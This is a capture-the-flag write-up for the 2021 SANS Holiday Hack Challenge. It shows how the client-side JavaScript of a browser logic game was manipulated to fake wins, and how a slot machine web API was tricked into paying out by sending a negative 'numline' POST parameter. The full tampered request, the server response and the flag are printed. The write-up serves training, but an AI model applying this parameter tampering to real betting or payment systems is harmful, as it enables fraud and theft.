Objective

image-20220106132925936

Terminal - Logic Munchers

Challenge

Noel Boetie is just next to the entrance to Santa’s with another Pi terminal:

image-20220106120841604

Hello there! Noel Boetie here. We’re all so glad to have you attend KringleCon IV and work on the Holiday Hack Challenge!

I’m just hanging out here by the Logic Munchers game.

You know… logic: that thing that seems to be in short supply at the tower on the other side of the North Pole?

Oh, I’m sorry. That wasn’t terribly kind, but those frosty souls do confuse me…

Anyway, I’m working my way through this Logic Munchers game.

A lot of it comes down to understanding boolean logic, like True And False is False, but True And True is True.

It can get a tad complex in the later levels.

I need some help, though. If you can show me how to complete a stage in Potpourri at the Intermediate (Stage 3) or higher, I’ll give you some hints for how to find vulnerabilities.

Specifically, I’ll give you some tips in finding flaws in some of the web applications I’ve heard about here at the North Pole, especially those associated with slot machines!

The terminal presents a game, Logic Chompers:

image-20220106120940584

Playing the game presents a board with a bunch of boolean statements. The stage impacts the difficulty, and there are also five different categories:

  • Boolean Logic:
image-20220103063948544
  • Arithmetic Expressions
image-20220103064014186
  • Number Conversions
image-20220103064033685
  • Bitwise operations
image-20220103064059995
  • Potpourri - A mix of all of the above

Solution

Playing the game on Potpourri and beating levels 1-3 unlocks the challenge, and it’s not too hard. But the more interesting way is to hack the game. I’ll show a few ways here:

There are two ways I exploit this code. The first thing I found was the checkWin function:

function checkWin() { // check to see if the stage has been won
  let workToDo = false;
  for (var col = 0; col < challenges.length; col++) { // check each cell for a true statement
    for (var cell = 0; cell < challenges[col].length; cell++) {
      if (challenges[col][cell][1] == true) {workToDo = true;};
    }
  }
  if (!workToDo) { // work's all done?  stage up!
    if (sound){soundWin.play();}
    while (trollogs.length > 0) {trollogs[0].die(trollogs[0]);} // kill all trollogs
    chomper.avatar.src = "/static/chomper-ahh.png" // pose for victory
    let buddies = document.getElementsByClassName("lives")
    for (i = 0; i < buddies.length; i++) {
      buddies[i].src = "/static/chomper-ahh.png"; // extra lives are happy too!
    }
    wigwags("Stage "+stage+" complete!");
    chompyMoving = true;
    chompyFlexTime = new Date().getTime() + 2000;
    chompyFlex();
  }
  return !workToDo; // if there's no work to do, checkWin returns true
}

If I delete where it workToDo = true;, then it will advance to the next stage each time this function runs, which is about every second (on each Trollog move).

The chompyFlex function is where the actually registration of my completion happens with Holiday Hack:

function chompyFlex() { // Flex that Chompy for two sec
  let now = new Date().getTime();
  if (chompyFlexTime < now) { // time to get back to game?
    let buddies = document.getElementsByClassName("lives")
    for (i = 0; i < buddies.length; i++) {
      buddies[i].src = "/static/chomper.png"; // extra lives are content again
    }
    chompyMoving = false; // paralysis over!
    chompyFlexTime = undefined;
    chomper.avatar.remove(); // prep the next stage
    stage += 1;
    if (stage % 3 == 0) { // every three stages brings about a difficulty level increase
      level += 1;
    }
    if ((stage >= 3) && (style == 4)) {__POST_RESULTS__(victoryToken);}
    ws.send('{"Type":"GameStart","Level":'+level+',"Style":'+style+'}'); // new stage info will trigger board rebuild
  }
}

This function is called when I win a level, so I can start the easiest level with a break at the if before __POST_RESULTS__, win the level, and then set stage and style in the console, and let it play, and that will also give my the completion.

Slot Machine Investigation

Hints

Noel is impressed, and offers some hints:

Wow - amazing score! Great work!

So hey, those slot machines. It seems that in his haste, Jack bought some terrible hardware.

It seems they’re susceptible to parameter tampering.

You can modify web request parameters with an intercepting proxy or tools built into Firefox.

He also unlocks two hints in the badge:

Challenge

There’s a link to the slot machine interface (webpage) in my badge, or I can go into Frost Tower and click on one to play:

image-20220106125901951

The modern slot machine interface is meant to not be clear to the player, and this one is no exception:

image-20220106130116143

Solution

The idea is to mess with the POST parameters to trick the system:

Sending the POST request to repeater and making either the numline or cpl parameter negative (and big!) allows getting money back for a loss:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/2
Host: slots.jackfrosttower.com
Cookie: XSRF-TOKEN=eyJpdiI6ImtQRVpXYTJ2bmVxNzcybVVZQ29YZ3c9PSIsInZhbHVlIjoiSUMxRnZ0b1ZLa0Q1R3JNS08rS21TQXdyclN3R3NDSE9FVVRyV3laUExlOGtxM2JHMFpMczRGK0ZBRjZxZnlacDNiREFJRzBGeXBQaGlqRnh4aUNYMzN2N0QxVnE5RTZ6NGhUS3A0QnJIL1JoRCs1ZGZqZkpDaXVKeXZodzZBVDMiLCJtYWMiOiI0MDBjOTk0Nzg5ZDdlMjE5NWUzODZmNDhmMjk1ZTI5Zjk3NTcxOWVjYWIxNTY5N2Y1MzJmNjlkNDJmMTE4Yjc4IiwidGFnIjoiIn0%3D; slots_session=eyJpdiI6IjB1K0tYVkFmbW40OHJ3UDVNWUo1ZFE9PSIsInZhbHVlIjoiS0RUY2VBVjd4RmVoUUxHb01qVnFFWnMxamhBNFgyNjdVTkMyWXZFNVZXbFNLa1FSdHIrelNnRnE1Zk1PODk1NFJCM0JLTGphL2UwbVkzZ2dCVGtrYk01SnZ2UWNCcElpdjJORzlJRmwvUEpuRy9idG45QjdQdjRFeVFRVU5XQWQiLCJtYWMiOiI3ODE4OWYyNzA5MWI1MjdkNDkwNjliOTZhZGUzMWNkYjYwYmNiMDQ1MTMzNDgwYzM5ZDc3MDc3NWI1MjAwYzgzIiwidGFnIjoiIn0%3D
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 79fbb877-f7a5-41fb-b25a-41902e9e1f4c
Content-Length: 33
Origin: https://slots.jackfrosttower.com
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

betamount=10&numline=-200&cpl=0.5

After a few POSTs, The response comes back with the string I’m looking for:

HTTP/2 200 OK
Date: Mon, 03 Jan 2022 12:41:58 GMT
Date: Mon, 03 Jan 2022 12:41:58 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear

{"success":true,"data":{"credit":1107,"jackpot":0,"free_spin":0,"free_num":0,"scaler":0,"num_line":-200,"bet_amount":10,"pull":{"WinAmount":0,"FreeSpin":0,"WildFixedIcons":[],"HasJackpot":false,"HasScatter":false,"WildColumIcon":"","ScatterPrize":0,"SlotIcons":["icon2","icon1","icon4","scatter","icon10","icon3","icon6","icon1","icon7","icon10","icon9","icon8","wild","icon5","icon1"],"ActiveIcons":[],"ActiveLines":[]},"response":"I'm going to have some bouncer trolls bounce you right out of this casino!"},"message":"Spin success"}

Flag: I’m going to have some bouncer trolls bounce you right out of this casino!